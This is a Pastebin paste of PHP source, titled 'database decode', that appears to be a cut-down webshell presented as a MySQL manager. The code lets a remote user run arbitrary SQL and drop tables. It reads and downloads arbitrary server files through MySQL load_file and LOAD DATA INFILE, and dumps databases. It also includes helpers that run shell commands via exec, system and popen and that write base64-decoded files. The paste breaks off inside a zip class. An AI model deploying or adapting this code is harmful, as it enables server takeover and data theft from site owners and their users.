Saint92

database decode

Mar 28th, 2016
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 31.77 KB | None | 0 0
  1. <?php
  2. error_reporting(7);
  3. @set_magic_quotes_runtime(0);
  4. ob_start();
  5. $mtime = explode(' ', microtime());
  6. $starttime = $mtime[1] + $mtime[0];
  7. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  8. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  9. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  10. define('IS_COM', class_exists('COM') ? 1 : 0 );
  11. define('IS_GPC', get_magic_quotes_gpc());
  12. $dis_func = get_cfg_var('disable_functions');
  13. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  14. @set_time_limit(0);
  15.  
  16. foreach(array('_GET','_POST') as $_request) {
  17. foreach($$_request as $_key => $_value) {
  18. if ($_key{0} != '_') {
  19. if (IS_GPC) {
  20. $_value = s_array($_value);
  21. }
  22. $$_key = $_value;
  23. }
  24. }
  25. }
  26.  
  27. if ($charset == 'utf8') {
  28. header("content-Type: text/html; charset=utf-8");
  29. } elseif ($charset == 'big5') {
  30. header("content-Type: text/html; charset=big5");
  31. } elseif ($charset == 'gbk') {
  32. header("content-Type: text/html; charset=gbk");
  33. } elseif ($charset == 'latin1') {
  34. header("content-Type: text/html; charset=iso-8859-2");
  35. }
  36.  
  37. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  38. $timestamp = time();
  39.  
  40.  
  41. if ($doing == 'backupmysql' && !$saveasfile) {
  42. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  43. $table = array_flip($table);
  44. $result = q("SHOW tables");
  45. if (!$result) p('<h2>'.mysql_error().'</h2>');
  46. $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
  47. header('Content-type: application/unknown');
  48. header('Content-Disposition: attachment; filename='.$filename);
  49. $mysqldata = '';
  50. while ($currow = mysql_fetch_array($result)) {
  51. if (isset($table[$currow[0]])) {
  52. $mysqldata .= sqldumptable($currow[0]);
  53. }
  54. }
  55. mysql_close();
  56. exit;
  57. }
  58.  
  59.  
  60. if($doing=='mysqldown'){
  61. if (!$dbname) {
  62. $errmsg = 'Please input dbname';
  63. } else {
  64. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  65. if (!file_exists($mysqldlfile)) {
  66. $errmsg = 'The file you want Downloadable was nonexistent';
  67. } else {
  68. $result = q("select load_file('$mysqldlfile');");
  69. if(!$result){
  70. q("DROP TABLE IF EXISTS tmp_angel;");
  71. q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  72. q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  73. $result = q("select content from tmp_angel");
  74. q("DROP TABLE tmp_angel");
  75. }
  76. $row = @mysql_fetch_array($result);
  77. if (!$row) {
  78. $errmsg = 'Load file failed '.mysql_error();
  79. } else {
  80. $fileinfo = pathinfo($mysqldlfile);
  81. header('Content-type: application/x-'.$fileinfo['extension']);
  82. header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  83. header("Accept-Length: ".strlen($row[0]));
  84. echo $row[0];
  85. exit;
  86. } } } }
  87. ?>
  88.  
  89. <html>
  90. <head>
  91. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
  92. <title>MYSQL</title>
  93. <style type="text/css">
  94. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  95. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
  96. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  97. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
  98. a {color: #00f;text-decoration:underline;}
  99. a:hover{color: #f00;text-decoration:none;}
  100. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
  101. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
  102. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
  103. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
  104. .head td span{font-weight:normal;}
  105. form{margin:0;padding:0;}
  106. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  107. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  108. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  109. </style>
  110. <script type="text/javascript">
  111. function CheckAll(form) {
  112. for(var i=0;i<form.elements.length;i++) {
  113. var e = form.elements[i];
  114. if (e.name != 'chkall')
  115. e.checked = form.chkall.checked;
  116. } }
  117. function $(id) {
  118. return document.getElementById(id);
  119. }
  120. function goaction(act){
  121. $('goaction').action.value=act;
  122. $('goaction').submit();
  123. }
  124. </script>
  125. </head>
  126. <body style="margin:0;table-layout:fixed; word-break:break-all">
  127. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  128. <tr class="alt1">
  129. <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
  130. <a href="javascript:goaction('logout');">Logout</a>
  131. <a href="javascript:goaction('sqladmin');"></a>
  132. </td></tr></table>
  133.  
  134. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  135. <?php
  136.  
  137. formhead(array('name'=>'goaction'));
  138. makehide('action');
  139. formfoot();
  140.  
  141. if (!$action || $action == 'sqladmin') {
  142. !$dbhost && $dbhost = 'localhost';
  143. !$dbuser && $dbuser = '';
  144. !$dbport && $dbport = '3306';
  145. $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
  146.  
  147. if(isset($dbhost)){
  148. $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
  149. } if(isset($dbuser)) {
  150. $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
  151. } if(isset($dbpass)) {
  152. $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
  153. } if(isset($dbport)) {
  154. $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
  155. } if(isset($dbname)) {
  156. $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
  157. } if(isset($charset)) {
  158. $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
  159. }
  160.  
  161.    
  162. if ($doing == 'backupmysql' && $saveasfile) {
  163. if (!$table) {
  164. m('Please choose the table');
  165. } else {
  166. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  167. $table = array_flip($table);
  168. $fp = @fopen($path,'w');
  169. if ($fp) {
  170. $result = q('SHOW tables');
  171. if (!$result) p('<h2>'.mysql_error().'</h2>');
  172. $mysqldata = '';
  173. while ($currow = mysql_fetch_array($result)) {
  174. if (isset($table[$currow[0]])) {
  175. sqldumptable($currow[0], $fp);
  176. }
  177. }
  178. fclose($fp);
  179. $fileurl = str_replace(SA_ROOT,'',$path);
  180. m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
  181. mysql_close();
  182. } else {
  183. m('Backup failed');
  184. }
  185. }
  186. }
  187. if ($insert && $insertsql) {
  188. $keystr = $valstr = $tmp = '';
  189. foreach($insertsql as $key => $val) {
  190. if ($val) {
  191. $keystr .= $tmp.$key;
  192. $valstr .= $tmp."'".addslashes($val)."'";
  193. $tmp = ',';
  194. }
  195. }
  196. if ($keystr && $valstr) {
  197. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  198. m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  199. }
  200. }
  201. if ($update && $insertsql && $base64) {
  202. $valstr = $tmp = '';
  203. foreach($insertsql as $key => $val) {
  204. $valstr .= $tmp.$key."='".addslashes($val)."'";
  205. $tmp = ',';
  206. }
  207. if ($valstr) {
  208. $where = base64_decode($base64);
  209. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  210. m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  211. }
  212. }
  213. if ($doing == 'del' && $base64) {
  214. $where = base64_decode($base64);
  215. $delete_sql = "DELETE FROM $tablename WHERE $where";
  216. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  217. m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  218. }
  219.  
  220. if ($tablename && $doing == 'drop') {
  221. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  222. if (q("DROP TABLE $tablename")) {
  223. m('Drop table of success');
  224. $tablename = '';
  225. } else {
  226. m(mysql_error());
  227. }
  228. }
  229.  
  230. $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  231.  
  232. formhead(array('title'=>'MYSQL Manager'));
  233. makehide('action','sqladmin');
  234. p('<center><p>');
  235. p('DB Host :');
  236. makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  237. p('<p>');
  238. p('DB User :');
  239. makeinput(array('name'=>'dbuser','size'=>20,'value'=>$dbuser));
  240. p('<p>');
  241. p('DB Pass :');
  242. makeinput(array('name'=>'dbpass','size'=>20,'value'=>$dbpass));
  243. p('<p>');
  244. makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  245. p('</p></center>');
  246. formfoot();
  247. ?>
  248. <script type="text/javascript">
  249. function editrecord(action, base64, tablename){
  250. if (action == 'del') {
  251. if (!confirm('Is or isn\'t deletion record?')) return;
  252. }
  253. $('recordlist').doing.value=action;
  254. $('recordlist').base64.value=base64;
  255. $('recordlist').tablename.value=tablename;
  256. $('recordlist').submit();
  257. }
  258. function moddbname(dbname) {
  259. if(!dbname) return;
  260. $('setdbname').dbname.value=dbname;
  261. $('setdbname').submit();
  262. }
  263. function settable(tablename,doing,page) {
  264. if(!tablename) return;
  265. if (doing) {
  266. $('settable').doing.value=doing;
  267. }
  268. if (page) {
  269. $('settable').page.value=page;
  270. }
  271. $('settable').tablename.value=tablename;
  272. $('settable').submit();
  273. }
  274. </script>
  275. <?php
  276.  
  277. formhead(array('name'=>'recordlist'));
  278. makehide('doing');
  279. makehide('action','sqladmin');
  280. makehide('base64');
  281. makehide('tablename');
  282. p($dbform);
  283. formfoot();
  284.  
  285.  
  286. formhead(array('name'=>'setdbname'));
  287. makehide('action','sqladmin');
  288. p($dbform);
  289. if (!$dbname) {
  290. makehide('dbname');
  291. }
  292. formfoot();
  293.  
  294.  
  295. formhead(array('name'=>'settable'));
  296. makehide('action','sqladmin');
  297. p($dbform);
  298. makehide('tablename');
  299. makehide('page',$page);
  300. makehide('doing');
  301. formfoot();
  302.  
  303. $cachetables = array();
  304. $pagenum = 30;
  305. $page = intval($page);
  306. if($page) {
  307. $start_limit = ($page - 1) * $pagenum;
  308. } else {
  309. $start_limit = 0;
  310. $page = 1;
  311. }
  312. if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  313. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  314. $mysqlver = mysql_get_server_info();
  315. p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  316. $highver = $mysqlver > '4.1' ? 1 : 0;
  317.  
  318. $query = q("SHOW DATABASES");
  319. $dbs = array();
  320. $dbs[] = '-- Select a database --';
  321. while($db = mysql_fetch_array($query)) {
  322. $dbs[$db['Database']] = $db['Database'];
  323. }
  324. makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  325. $tabledb = array();
  326. if ($dbname) {
  327. p('<p>');
  328. p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  329. if ($tablename) {
  330. p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Data</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  331. }
  332. p('</p>');
  333. mysql_select_db($dbname);
  334.  
  335. $getnumsql = '';
  336. $runquery = 0;
  337. if ($sql_query) {
  338. $runquery = 1;
  339. }
  340. $allowedit = 0;
  341. if ($tablename && !$sql_query) {
  342. $sql_query = "SELECT * FROM $tablename";
  343. $getnumsql = $sql_query;
  344. $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  345. $allowedit = 1;
  346. }
  347. p('<form action="'.$self.'" method="POST">');
  348. p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  349. makehide('tablename', $tablename);
  350. makehide('action','sqladmin');
  351. p($dbform);
  352. p('</form>');
  353. if ($tablename || ($runquery && $sql_query)) {
  354. if ($doing == 'structure') {
  355. $result = q("SHOW COLUMNS FROM $tablename");
  356. $rowdb = array();
  357. while($row = mysql_fetch_array($result)) {
  358. $rowdb[] = $row;
  359. }
  360. p('<table border="0" cellpadding="3" cellspacing="0">');
  361. p('<tr class="head">');
  362. p('<td>Field</td>');
  363. p('<td>Type</td>');
  364. p('<td>Null</td>');
  365. p('<td>Key</td>');
  366. p('<td>Default</td>');
  367. p('<td>Extra</td>');
  368. p('</tr>');
  369. foreach ($rowdb as $row) {
  370. $thisbg = bg();
  371. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  372. p('<td>'.$row['Field'].'</td>');
  373. p('<td>'.$row['Type'].'</td>');
  374. p('<td>'.$row['Null'].'&nbsp;</td>');
  375. p('<td>'.$row['Key'].'&nbsp;</td>');
  376. p('<td>'.$row['Default'].'&nbsp;</td>');
  377. p('<td>'.$row['Extra'].'&nbsp;</td>');
  378. p('</tr>');
  379. }
  380. tbfoot();
  381. } elseif ($doing == 'insert' || $doing == 'edit') {
  382. $result = q('SHOW COLUMNS FROM '.$tablename);
  383. while ($row = mysql_fetch_array($result)) {
  384. $rowdb[] = $row;
  385. }
  386. $rs = array();
  387. if ($doing == 'insert') {
  388. p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  389. } else {
  390. p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  391. $where = base64_decode($base64);
  392. $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  393. $rs = mysql_fetch_array($result);
  394. }
  395. p('<form method="post" action="'.$self.'">');
  396. p($dbform);
  397. makehide('action','sqladmin');
  398. makehide('tablename',$tablename);
  399. p('<table border="0" cellpadding="3" cellspacing="0">');
  400. foreach ($rowdb as $row) {
  401. if ($rs[$row['Field']]) {
  402. $value = htmlspecialchars($rs[$row['Field']]);
  403. } else {
  404. $value = '';
  405. }
  406. $thisbg = bg();
  407. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  408. p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  409. }
  410. if ($doing == 'insert') {
  411. p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  412. } else {
  413. p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  414. makehide('base64', $base64);
  415. }
  416. p('</table></form>');
  417. } else {
  418. $querys = @explode(';',$sql_query);
  419. foreach($querys as $num=>$query) {
  420. if ($query) {
  421. p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  422. switch(qy($query))
  423. {
  424. case 0:
  425. p('<h2>Error : '.mysql_error().'</h2>');
  426. break;
  427. case 1:
  428. if (strtolower(substr($query,0,13)) == 'select * from') {
  429. $allowedit = 1;
  430. }
  431. if ($getnumsql) {
  432. $tatol = mysql_num_rows(q($getnumsql));
  433. $multipage = multi($tatol, $pagenum, $page, $tablename);
  434. }
  435. if (!$tablename) {
  436. $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  437. $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  438. preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  439. $tablename = $matches[1][0];
  440. }
  441. $result = q($query);
  442. p($multipage);
  443. p('<table border="0" cellpadding="3" cellspacing="0">');
  444. p('<tr class="head">');
  445. if ($allowedit) p('<td>Action</td>');
  446. $fieldnum = @mysql_num_fields($result);
  447. for($i=0;$i<$fieldnum;$i++){
  448. $name = @mysql_field_name($result, $i);
  449. $type = @mysql_field_type($result, $i);
  450. $len = @mysql_field_len($result, $i);
  451. p("<td nowrap>$name<br><span>$type($len)</span></td>");
  452. }
  453. p('</tr>');
  454. while($mn = @mysql_fetch_assoc($result)){
  455. $thisbg = bg();
  456. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  457. $where = $tmp = $b1 = '';
  458. foreach($mn as $key=>$inside){
  459. if ($inside) {
  460. $where .= $tmp.$key."='".addslashes($inside)."'";
  461. $tmp = ' AND ';
  462. }
  463. $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  464. }
  465. $where = base64_encode($where);
  466. if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  467. p($b1);
  468. p('</tr>');
  469. unset($b1);
  470. }
  471. tbfoot();
  472. p($multipage);
  473. break;
  474. case 2:
  475. $ar = mysql_affected_rows();
  476. p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  477. break;
  478. }
  479. }
  480. }
  481. }
  482. } else {
  483. $query = q("SHOW TABLE STATUS");
  484. $table_num = $table_rows = $data_size = 0;
  485. $tabledb = array();
  486. while($table = mysql_fetch_array($query)) {
  487. $data_size = $data_size + $table['Data_length'];
  488. $table_rows = $table_rows + $table['Rows'];
  489. $table['Data_length'] = sizecount($table['Data_length']);
  490. $table_num++;
  491. $tabledb[] = $table;
  492. }
  493. $data_size = sizecount($data_size);
  494. unset($table);
  495. p('<table border="0" cellpadding="0" cellspacing="0">');
  496. p('<form action="'.$self.'" method="POST">');
  497. makehide('action','sqladmin');
  498. p($dbform);
  499. p('<tr class="head">');
  500. p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  501. p('<td>Name</td>');
  502. p('<td>Rows</td>');
  503. p('<td>Data_length</td>');
  504. p('<td>Create_time</td>');
  505. p('<td>Update_time</td>');
  506. if ($highver) {
  507. p('<td>Engine</td>');
  508. p('<td>Collation</td>');
  509. }
  510. p('</tr>');
  511. foreach ($tabledb as $key => $table) {
  512. $thisbg = bg();
  513. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  514. p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  515. p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  516. p('<td>'.$table['Rows'].'</td>');
  517. p('<td>'.$table['Data_length'].'</td>');
  518. p('<td>'.$table['Create_time'].'</td>');
  519. p('<td>'.$table['Update_time'].'</td>');
  520. if ($highver) {
  521. p('<td>'.$table['Engine'].'</td>');
  522. p('<td>'.$table['Collation'].'</td>');
  523. }
  524. p('</tr>');
  525. }
  526. p('<tr class='.bg().'>');
  527. p('<td>&nbsp;</td>');
  528. p('<td>Total tables: '.$table_num.'</td>');
  529. p('<td>'.$table_rows.'</td>');
  530. p('<td>'.$data_size.'</td>');
  531. p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  532. p('</tr>');
  533. p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  534. makehide('doing','backupmysql');
  535. formfoot();
  536. p("</table>");
  537. fr($query);
  538. }
  539. }
  540. }
  541. tbfoot();
  542. @mysql_close();
  543. }      
  544. ?>
  545. </td></tr></table>
  546. </body>
  547. </html>
  548.  
  549. <?php
  550.  
  551. function m($msg) {
  552. echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  553. echo $msg;
  554. echo '</div>';
  555. }
  556. function scookie($key, $value, $life = 0, $prefix = 1) {
  557. global $admin, $timestamp, $_SERVER;
  558. $key = ($prefix ? $admin['cookiepre'] : '').$key;
  559. $life = $life ? $life : $admin['cookielife'];
  560. $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  561. setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  562. }
  563. function multi($num, $perpage, $curpage, $tablename) {
  564. $multipage = '';
  565. if($num > $perpage) {
  566. $page = 10;
  567. $offset = 5;
  568. $pages = @ceil($num / $perpage);
  569. if($page > $pages) {
  570. $from = 1;
  571. $to = $pages;
  572. } else {
  573. $from = $curpage - $offset;
  574. $to = $curpage + $page - $offset - 1;
  575. if($from < 1) {
  576. $to = $curpage + 1 - $from;
  577. $from = 1;
  578. if(($to - $from) < $page && ($to - $from) < $pages) {
  579. $to = $page;
  580. }
  581. } elseif($to > $pages) {
  582. $from = $curpage - $pages + $to;
  583. $to = $pages;
  584. if(($to - $from) < $page && ($to - $from) < $pages) {
  585. $from = $pages - $page + 1;
  586. }
  587. }
  588. }
  589. $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  590. for($i = $from; $i <= $to; $i++) {
  591. $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  592. }
  593. $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  594. $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  595. }
  596. return $multipage;
  597. }
  598. function loginpage() {
  599. ?>
  600. <style type="text/css">
  601. input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
  602. </style>
  603. <form method="POST" action="">
  604. <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
  605. <input type="hidden" name="doing" value="login">
  606. <input type="submit" value="Login">
  607. </form>
  608. <?php
  609. exit;
  610. }//end loginpage()
  611.  
  612. function execute($cfe) {
  613. $res = '';
  614. if ($cfe) {
  615. if(function_exists('exec')) {
  616. @exec($cfe,$res);
  617. $res = join("\n",$res);
  618. } elseif(function_exists('shell_exec')) {
  619. $res = @shell_exec($cfe);
  620. } elseif(function_exists('system')) {
  621. @ob_start();
  622. @system($cfe);
  623. $res = @ob_get_contents();
  624. @ob_end_clean();
  625. } elseif(function_exists('passthru')) {
  626. @ob_start();
  627. @passthru($cfe);
  628. $res = @ob_get_contents();
  629. @ob_end_clean();
  630. } elseif(@is_resource($f = @popen($cfe,"r"))) {
  631. $res = '';
  632. while(!@feof($f)) {
  633. $res .= @fread($f,1024);
  634. }
  635. @pclose($f);
  636. }
  637. }
  638. return $res;
  639. }
  640. function which($pr) {
  641. $path = execute("which $pr");
  642. return ($path ? $path : $pr);
  643. }
  644.  
  645. function cf($fname,$text){
  646. if($fp=@fopen($fname,'w')) {
  647. @fputs($fp,@base64_decode($text));
  648. @fclose($fp);
  649. }
  650. }
  651.  
  652. function debuginfo() {
  653. global $starttime;
  654. $mtime = explode(' ', microtime());
  655. $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  656. echo 'Processed in '.$totaltime.' second(s)';
  657. }
  658.  
  659.  
  660. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  661. if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  662. p('<h2>Can not connect to MySQL server</h2>');
  663. exit;
  664. }
  665. if($link && $dbname) {
  666. if (!@mysql_select_db($dbname, $link)) {
  667. p('<h2>Database selected has error</h2>');
  668. exit;
  669. }
  670. }
  671. if($link && mysql_get_server_info() > '4.1') {
  672. if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  673. q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  674. }
  675. }
  676. return $link;
  677. }
  678.  
  679.  
  680. function s_array(&$array) {
  681. if (is_array($array)) {
  682. foreach ($array as $k => $v) {
  683. $array[$k] = s_array($v);
  684. }
  685. } else if (is_string($array)) {
  686. $array = stripslashes($array);
  687. }
  688. return $array;
  689. }
  690.  
  691.  
  692. function html_clean($content) {
  693. $content = htmlspecialchars($content);
  694. $content = str_replace("\n", "<br />", $content);
  695. $content = str_replace("  ", "&nbsp;&nbsp;", $content);
  696. $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  697. return $content;
  698. }
  699.  
  700. function bg() {
  701. global $bgc;
  702. return ($bgc++%2==0) ? 'alt1' : 'alt2';
  703. }
  704.  
  705.  
  706. function getPath($scriptpath, $nowpath) {
  707. if ($nowpath == '.') {
  708. $nowpath = $scriptpath;
  709. }
  710. $nowpath = str_replace('\\', '/', $nowpath);
  711. $nowpath = str_replace('//', '/', $nowpath);
  712. if (substr($nowpath, -1) != '/') {
  713. $nowpath = $nowpath.'/';
  714. }
  715. return $nowpath;
  716. }
  717.  
  718.  
  719. function getUpPath($nowpath) {
  720. $pathdb = explode('/', $nowpath);
  721. $num = count($pathdb);
  722. if ($num > 2) {
  723. unset($pathdb[$num-1],$pathdb[$num-2]);
  724. }
  725. $uppath = implode('/', $pathdb).'/';
  726. $uppath = str_replace('//', '/', $uppath);
  727. return $uppath;
  728. }
  729.  
  730.  
  731. function getcfg($varname) {
  732. $result = get_cfg_var($varname);
  733. if ($result == 0) {
  734. return 'No';
  735. } elseif ($result == 1) {
  736. return 'Yes';
  737. } else {
  738. return $result;
  739. }
  740. }
  741.  
  742.  
  743. function getfun($funName) {
  744. return (false !== function_exists($funName)) ? 'Yes' : 'No';
  745. }
  746.  
  747.  
  748.  
  749. function qy($sql) {
  750. //echo $sql.'<br>';
  751. $res = $error = '';
  752. if(!$res = @mysql_query($sql)) {
  753. return 0;
  754. } else if(is_resource($res)) {
  755. return 1;
  756. } else {
  757. return 2;
  758. }
  759. return 0;
  760. }
  761.  
  762. function q($sql) {
  763. return @mysql_query($sql);
  764. }
  765.  
  766. function fr($qy){
  767. mysql_free_result($qy);
  768. }
  769.  
  770. function sizecount($size) {
  771. if($size > 1073741824) {
  772. $size = round($size / 1073741824 * 100) / 100 . ' Gb';
  773. } elseif($size > 1048576) {
  774. $size = round($size / 1048576 * 100) / 100 . ' Mb';
  775. } elseif($size > 1024) {
  776. $size = round($size / 1024 * 100) / 100 . ' Kb';
  777. } else {
  778. $size = $size . ' Bytes';
  779. }
  780. return $size;
  781. }
  782.  
  783. class PHPZip{
  784. var $out='';
  785. function PHPZip($dir)   {
  786. if (@function_exists('gzcompress')) {
  787. $curdir = getcwd();
  788. if (is_array($dir)) $filelist = $dir;
  789. else{
  790. $filelist=$this -> GetFileList($dir);//+-+ --#&#1101;
  791. foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  792. }
  793. if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  794. else chdir($curdir);
  795. if (count($filelist)>0){
  796. foreach($filelist as $filename){
  797. if (is_file($filename)){
  798. $fd = fopen ($filename, 'r');
  799. $content = @fread ($fd, filesize($filename));
  800. fclose ($fd);
  801. if (is_array($dir)) $filename = basename($filename);
  802. $this -> addFile($content, $filename);
  803. }
